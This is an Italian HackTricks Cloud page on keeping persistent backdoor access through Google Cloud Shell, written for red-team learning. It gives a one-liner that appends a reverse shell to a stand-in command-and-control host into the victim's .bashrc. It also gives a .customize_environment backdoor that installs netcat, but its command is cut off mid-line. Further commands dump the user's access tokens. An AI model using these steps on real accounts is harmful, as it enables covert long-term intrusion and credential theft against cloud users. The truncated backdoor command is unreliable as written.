GCP - Cloud Shell Persistenza
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Cloud Shell
Per maggiori informazioni consulta:
Backdoor persistente
Google Cloud Shell ti fornisce accesso via riga di comando alle tue risorse cloud direttamente dal browser senza alcun costo associato.
Puoi accedere a Google Cloud Shell dalla web console oppure eseguendo gcloud cloud-shell ssh.
Questa console presenta alcune capacità interessanti per gli attackers:
- Any Google user with access to Google Cloud ha accesso a un’istanza Cloud Shell completamente autenticata (i Service Accounts possono farlo, anche se sono Owners dell’org).
- Tale istanza manterrà la sua home directory per almeno 120 giorni se non avvengono attività.
- Non esistono meccanismi che permettano a un’organizzazione di monitorare l’attività di quell’istanza.
Questo significa fondamentalmente che un attacker può mettere una backdoor nella home directory dell’utente e, fintanto che l’utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l’attacker otterrà una shell ogni volta che viene eseguita semplicemente facendo:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```C’è un altro file nella cartella home chiamato .customize_environment che, se esiste, verrà eseguito ogni volta che l’utente accede al cloud shell (come nella tecnica precedente). Basta inserire il backdoor precedente o uno come il seguente per mantenere la persistenza finché l’utente usa “frequentemente” il cloud shell:
Create .customize_environment backdoor
```bash #!/bin/sh apt-get install netcat -y ncWarning
È importante notare che la prima volta che viene eseguita un’azione che richiede l’autenticazione, appare una finestra di autorizzazione pop-up nel browser dell’utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se appare una pop-up imprevista, potrebbe destare sospetti e potenzialmente compromettere il metodo di persistence in uso.
Questa è la pop-up risultante dall’esecuzione di gcloud projects list da cloud shell (as attacker) vista nella sessione del browser dell’utente:
.png)
Tuttavia, se l’utente ha utilizzato attivamente il cloudshell, la pop-up non apparirà e puoi gather tokens of the user with:
Ottieni access tokens da Cloud Shell
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```Come viene stabilita la connessione SSH
In pratica vengono usate queste 3 chiamate API:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (ti farà aggiungere la tua public key creata localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (ti farà avviare l’istanza)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (ti dirà l’IP del Google Cloud Shell)
Ma puoi trovare ulteriori informazioni in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Riferimenti
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

